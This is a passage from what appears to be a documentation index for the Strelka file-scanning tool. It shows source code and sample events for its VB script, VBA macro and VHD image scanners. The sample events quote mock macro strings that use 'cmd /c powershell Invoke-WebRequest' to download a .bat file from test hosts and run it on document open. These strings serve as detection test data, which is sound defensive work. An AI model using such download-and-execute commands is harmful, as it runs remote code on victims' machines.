1pmc|xn--qxam|xn--rhqv96g|xn--rovu88b|xn--rvc1e0am3e|xn--s9brj9c|xn--ses554g|xn--t60b56a|xn--tckwe|xn--tiq49xqyj|xn--unup4y|xn--vermgensberater-ctb|xn--vermgensberatung-pwb|xn--vhquv|xn--vuq861b|xn--w4r85el8fhu5dnra|xn--w4rs40l|xn--wgbh1c|xn--wgbl6a|xn--xhq521b|xn--xkc2al3hye2a|xn--xkc2dl3a5ee0h|xn--y9a3aq|xn--yfro4i67o|xn--ygbi2ammx|xn--zfr164b|xxx|xyz|yachts|yahoo|yamaxun|yandex|ye|yodobashi|yoga|yokohama|you|youtube|yt|yun|za|zappos|zara|zero|zip|zippo|zm|zone|zuerich|zw)|(?:(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])\\.){3}(?:[0-9]|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5]))(?:[;/][^#?<>\\s]*)?(?:\\?[^#<>\\s]*)?(?:#[^<>\\s\\(\\)]*)?(?!\\w))',\n re.IGNORECASE,\n )\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans the VB script file, tokenizes it, and extracts useful components.\n\n Args:\n data: Content of the file being scanned.\n file: File metadata.\n options: Scanner options.\n expire_at: Expiry timestamp of the scan task.\n \"\"\"\n # Tokenize the script data using the Pygments lexer\n try:\n # Tokenize the script data using the Pygments lexer\n highlight = pygments.highlight(\n data, self.lexer, formatters.RawTokenFormatter()\n )\n except Exception as e:\n self.flags.append(f\"highlighting_error: {str(e)[:50]}\")\n return\n\n try:\n highlight_list = highlight.split(b\"\\n\")\n except Exception as e:\n self.flags.append(f\"highlight_split_error: {str(e)[:50]}\")\n return\n\n # Initialize containers for script components\n ordered_highlights = []\n\n for hl in highlight_list:\n try:\n split_highlight = hl.split(b\"\\t\")\n if len(split_highlight) == 2:\n token, value = split_highlight\n token = token.decode()\n value = value.decode().strip(\"'\\\"\").strip()\n\n # Add non-empty values to the ordered highlights\n if value:\n ordered_highlights.append({\"token\": token, \"value\": value})\n except Exception as e:\n self.flags.append(f\"token_parsing_error: {str(e)[:50]}\")\n\n # Initialize event fields to store extracted data\n self.event.setdefault(\"tokens\", [])\n self.event.setdefault(\"comments\", [])\n self.event.setdefault(\"functions\", [])\n self.event.setdefault(\"names\", [])\n self.event.setdefault(\"operators\", [])\n self.event.setdefault(\"strings\", [])\n self.event.setdefault(\"urls\", [])\n\n # Get script length\n self.event[\"script_length_bytes\"] = len(data)\n\n # Process and categorize each token\n try:\n for ohlp in ordered_highlights:\n self.categorize_token(ohlp)\n except Exception as e:\n self.flags.append(f\"token_categorization_error: {str(e)[:50]}\")\n\n # Remove duplicates and add URLs as IOCs\n try:\n if self.event[\"urls\"]:\n self.event[\"urls\"] = list(set(self.event[\"urls\"]))\n self.add_iocs(self.event[\"urls\"])\n except Exception as e:\n self.flags.append(f\"ioc_extraction_error: {str(e)[:50]}\")\n\n def categorize_token(self, ohlp):\n \"\"\"\n Categorizes a token and extracts relevant information.\n\n Args:\n ohlp: A dictionary containing a token and its value.\n \"\"\"\n token, value = ohlp[\"token\"], ohlp[\"value\"]\n\n if token not in self.event[\"tokens\"]:\n self.event[\"tokens\"].append(token)\n\n if token == \"Token.Comment\":\n if value not in self.event[\"comments\"]:\n self.event[\"comments\"].append(value)\n self.extract_urls(value)\n\n elif token == \"Token.Name.Function\":\n if value not in self.event[\"functions\"]:\n self.event[\"functions\"].append(value)\n\n elif token == \"Token.Name\":\n if value not in self.event[\"names\"]:\n self.event[\"names\"].append(value)\n\n elif token == \"Token.Operator\":\n if value not in self.event[\"operators\"]:\n self.event[\"operators\"].append(value)\n\n elif token == \"Token.Literal.String\":\n if value not in self.event[\"strings\"]:\n self.event[\"strings\"].append(value)\n self.extract_urls(value)\n\n def extract_urls(self, text):\n \"\"\"\n Extracts URLs from the provided text using regex matching.\n\n Args:\n text: Text content from which URLs are to be extracted.\n \"\"\"\n try:\n urls = self.url_regex.findall(text)\n for url in urls:\n if url not in self.event[\"urls\"]:\n self.event[\"urls\"].append(url)\n except Exception as e:\n self.flags.append(f\"url_extraction_error: {str(e)[:50]}\")\nscan(data, file, options, expire_at)","text":"Scans the VB script file, tokenizes it, and extracts useful components.
Parameters:
Name Type Description Defaultdata Content of the file being scanned.
requiredfile File metadata.
requiredoptions Scanner options.
requiredexpire_at Expiry timestamp of the scan task.
required Source code instrelka/src/python/strelka/scanners/scan_vb.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Scans the VB script file, tokenizes it, and extracts useful components.\n\n Args:\n data: Content of the file being scanned.\n file: File metadata.\n options: Scanner options.\n expire_at: Expiry timestamp of the scan task.\n \"\"\"\n # Tokenize the script data using the Pygments lexer\n try:\n # Tokenize the script data using the Pygments lexer\n highlight = pygments.highlight(\n data, self.lexer, formatters.RawTokenFormatter()\n )\n except Exception as e:\n self.flags.append(f\"highlighting_error: {str(e)[:50]}\")\n return\n\n try:\n highlight_list = highlight.split(b\"\\n\")\n except Exception as e:\n self.flags.append(f\"highlight_split_error: {str(e)[:50]}\")\n return\n\n # Initialize containers for script components\n ordered_highlights = []\n\n for hl in highlight_list:\n try:\n split_highlight = hl.split(b\"\\t\")\n if len(split_highlight) == 2:\n token, value = split_highlight\n token = token.decode()\n value = value.decode().strip(\"'\\\"\").strip()\n\n # Add non-empty values to the ordered highlights\n if value:\n ordered_highlights.append({\"token\": token, \"value\": value})\n except Exception as e:\n self.flags.append(f\"token_parsing_error: {str(e)[:50]}\")\n\n # Initialize event fields to store extracted data\n self.event.setdefault(\"tokens\", [])\n self.event.setdefault(\"comments\", [])\n self.event.setdefault(\"functions\", [])\n self.event.setdefault(\"names\", [])\n self.event.setdefault(\"operators\", [])\n self.event.setdefault(\"strings\", [])\n self.event.setdefault(\"urls\", [])\n\n # Get script length\n self.event[\"script_length_bytes\"] = len(data)\n\n # Process and categorize each token\n try:\n for ohlp in ordered_highlights:\n self.categorize_token(ohlp)\n except Exception as e:\n self.flags.append(f\"token_categorization_error: {str(e)[:50]}\")\n\n # Remove duplicates and add URLs as IOCs\n try:\n if self.event[\"urls\"]:\n self.event[\"urls\"] = list(set(self.event[\"urls\"]))\n self.add_iocs(self.event[\"urls\"])\n except Exception as e:\n self.flags.append(f\"ioc_extraction_error: {str(e)[:50]}\")\ncategorize_token(ohlp)","text":"Categorizes a token and extracts relevant information.
Parameters:
Name Type Description Defaultohlp A dictionary containing a token and its value.
required Source code instrelka/src/python/strelka/scanners/scan_vb.py def categorize_token(self, ohlp):\n \"\"\"\n Categorizes a token and extracts relevant information.\n\n Args:\n ohlp: A dictionary containing a token and its value.\n \"\"\"\n token, value = ohlp[\"token\"], ohlp[\"value\"]\n\n if token not in self.event[\"tokens\"]:\n self.event[\"tokens\"].append(token)\n\n if token == \"Token.Comment\":\n if value not in self.event[\"comments\"]:\n self.event[\"comments\"].append(value)\n self.extract_urls(value)\n\n elif token == \"Token.Name.Function\":\n if value not in self.event[\"functions\"]:\n self.event[\"functions\"].append(value)\n\n elif token == \"Token.Name\":\n if value not in self.event[\"names\"]:\n self.event[\"names\"].append(value)\n\n elif token == \"Token.Operator\":\n if value not in self.event[\"operators\"]:\n self.event[\"operators\"].append(value)\n\n elif token == \"Token.Literal.String\":\n if value not in self.event[\"strings\"]:\n self.event[\"strings\"].append(value)\n self.extract_urls(value)\nextract_urls(text)","text":"Extracts URLs from the provided text using regex matching.
Parameters:
Name Type Description Defaulttext Text content from which URLs are to be extracted.
required Source code instrelka/src/python/strelka/scanners/scan_vb.py def extract_urls(self, text):\n \"\"\"\n Extracts URLs from the provided text using regex matching.\n\n Args:\n text: Text content from which URLs are to be extracted.\n \"\"\"\n try:\n urls = self.url_regex.findall(text)\n for url in urls:\n if url not in self.event[\"urls\"]:\n self.event[\"urls\"].append(url)\n except Exception as e:\n self.flags.append(f\"url_extraction_error: {str(e)[:50]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanVb.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludehta_file vb_file vbscript"},{"location":"Scanners/ScanVb.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typecomments list elapsed str flags list functions list iocs str names list operators list script_length_bytes int strings list tokens list urls str"},{"location":"Scanners/ScanVb.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"comments\": [\"AutoOpen Macro\"],\n \"functions\": [\"AutoOpen\", \"Document_Open\", \"Testing_Iocs\"],\n \"names\": [\n \"Explicit\",\n \"MsgBox\",\n \"objWMIService\",\n \"GetObject\",\n \"objStartup\",\n \"Get\",\n \"objConfig\",\n \"SpawnInstance_\",\n \"ShowWindow\",\n \"objProcess\",\n \"ExecuteCmdAsync\",\n ],\n \"operators\": [\"=\"],\n \"strings\": [\n \"Hello World!\",\n \"winmgmts:\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\cimv2\",\n \"Win32_ProcessStartup\",\n \"winmgmts:\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\cimv2:Win32_Process\",\n \"cmd /c powershell Invoke-WebRequest -Uri https://www.test.example.com -OutFile $env:tmp\\\\\\\\test.txt\\\\nStart-Process -Filepath $env:tmp\\\\\\\\invoice.one\",\n \"cmd /c powershell Invoke-WebRequest -Uri https://www.test.com/test.bat -OutFile $env:tmp\\\\\\\\test.bat\\\\nStart-Process -Filepath $env:tmp\\\\\\\\test.bat\",\n ],\n \"script_length_bytes\": 752,\n \"tokens\": [\n \"Token.Keyword\",\n \"Token.Name\",\n \"Token.Text.Whitespace\",\n \"Token.Name.Function\",\n \"Token.Punctuation\",\n \"Token.Comment\",\n \"Token.Literal.String\",\n \"Token.Operator\",\n \"Token.Literal.Number.Integer\",\n ],\n \"urls\": unordered(\n [\n \"tmp\\\\\\\\invoice.one\",\n \"https://www.test.com/test.bat\",\n \"https://www.test.example.com\",\n ]\n ),\n \"iocs\": unordered(\n [\n {\n \"ioc\": \"www.test.example.com\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanVb\",\n },\n {\n \"ioc\": \"https://www.test.example.com\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanVb\",\n },\n {\"ioc\": \"www.test.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanVb\"},\n {\n \"ioc\": \"https://www.test.com/test.bat\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanVb\",\n },\n ]\n ),\n }\nExtracts and analyzes VBA from document files.
Optionsanalyze_macros: Boolean that determines if macros should be analyzed. Defaults to True.
Source code instrelka/src/python/strelka/scanners/scan_vba.py class ScanVba(strelka.Scanner):\n \"\"\"Extracts and analyzes VBA from document files.\n\n Options:\n analyze_macros: Boolean that determines if macros should be analyzed.\n Defaults to True.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n vba = None\n analyze_macros = options.get(\"analyze_macros\", True)\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n try:\n vba = olevba.VBA_Parser(filename=file.name, data=data)\n if vba.detect_vba_macros():\n extract_macros = list(vba.extract_macros())\n self.event[\"total\"][\"files\"] = len(extract_macros)\n for (\n filename,\n stream_path,\n vba_filename,\n vba_code,\n ) in extract_macros:\n # Send extracted file back to Strelka\n self.emit_file(vba_code, name=f\"{vba_filename}\")\n\n self.event[\"total\"][\"extracted\"] += 1\n\n if analyze_macros:\n self.event.setdefault(\"auto_exec\", [])\n self.event.setdefault(\"base64\", [])\n self.event.setdefault(\"dridex\", [])\n self.event.setdefault(\"hex\", [])\n self.event.setdefault(\"ioc\", [])\n self.event.setdefault(\"suspicious\", [])\n macros = vba.analyze_macros()\n for macro_type, keyword, description in macros:\n if macro_type == \"AutoExec\":\n self.event[\"auto_exec\"].append(keyword)\n elif macro_type == \"Base64 String\":\n self.event[\"base64\"].append(keyword)\n elif macro_type == \"Dridex String\":\n self.event[\"dridex\"].append(keyword)\n elif macro_type == \"Hex String\":\n self.event[\"hex\"].append(keyword)\n elif macro_type == \"IOC\":\n self.event[\"ioc\"].append(keyword)\n elif macro_type == \"Suspicious\":\n self.event[\"suspicious\"].append(keyword)\n\n if self.event[\"ioc\"]:\n self.add_iocs(list(set(self.event[\"ioc\"])))\n\n except olevba.FileOpenError:\n self.flags.append(\"file_open_error\")\n except AttributeError:\n self.flags.append(\"attribute_error\")\n finally:\n if vba:\n vba.close()\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanVba.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/msword application/vnd.ms-office application/x-mspublisher mhtml_file olecf_file wordml_file"},{"location":"Scanners/ScanVba.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeauto_exec list base64 list dridex list elapsed str flags list hex list ioc list iocs str suspicious list total dict total.extracted int total.files int"},{"location":"Scanners/ScanVba.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"auto_exec\": [\"AutoOpen\", \"Document_Open\"],\n \"base64\": [],\n \"dridex\": [],\n \"hex\": [],\n \"ioc\": [\n \"https://www.test.example.com\",\n \"https://www.test.com/test.bat\",\n \"test.bat\",\n ],\n \"iocs\": unordered(\n [\n {\"ioc\": \"test.bat\", \"ioc_type\": \"domain\", \"scanner\": \"ScanVba\"},\n {\n \"ioc\": \"www.test.example.com\",\n \"ioc_type\": \"domain\",\n \"scanner\": \"ScanVba\",\n },\n {\n \"ioc\": \"https://www.test.example.com\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanVba\",\n },\n {\"ioc\": \"www.test.com\", \"ioc_type\": \"domain\", \"scanner\": \"ScanVba\"},\n {\n \"ioc\": \"https://www.test.com/test.bat\",\n \"ioc_type\": \"url\",\n \"scanner\": \"ScanVba\",\n },\n ]\n ),\n \"suspicious\": [\"powershell\", \"Start-Process\", \"ShowWindow\", \"GetObject\"],\n \"total\": {\"extracted\": 1, \"files\": 1},\n }\nExtracts files from VHD/VHDX images
Source code instrelka/src/python/strelka/scanners/scan_vhd.py class ScanVhd(strelka.Scanner):\n \"\"\"Extracts files from VHD/VHDX images\"\"\"\n\n EXCLUDED_ROOT_DIRS = [\"[SYSTEM]\"]\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n try:\n self.extract_7zip(\n data, tmp_directory, scanner_timeout, expire_at, file_limit\n )\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"vhd_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"vhd_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"vhd_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_file_upload_error\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_output_error\")\n return\n\n def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n\n except Exception:\n self.flags.append(\"vhd_7zip_parse_error\")\n return\n\n def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(\n extracted_file.read(), name=os.path.basename(extracted_file.name)\n )\nextract_7zip(data, tmp_dir, scanner_timeout, expire_at, file_limit)","text":"Decompress input file to /tmp with 7zz, send files to coordinator
Source code instrelka/src/python/strelka/scanners/scan_vhd.py def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"vhd_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"vhd_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"vhd_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_file_upload_error\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_output_error\")\n return\nparse_7zip_stdout(output_7zip, file_limit)","text":"Parse 7zz output, create metadata
Source code instrelka/src/python/strelka/scanners/scan_vhd.py def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n\n except Exception:\n self.flags.append(\"vhd_7zip_parse_error\")\n return\nupload(name, expire_at)","text":"Send extracted file to coordinator
Source code instrelka/src/python/strelka/scanners/scan_vhd.py def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(\n extracted_file.read(), name=os.path.basename(extracted_file.name)\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanVhd.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
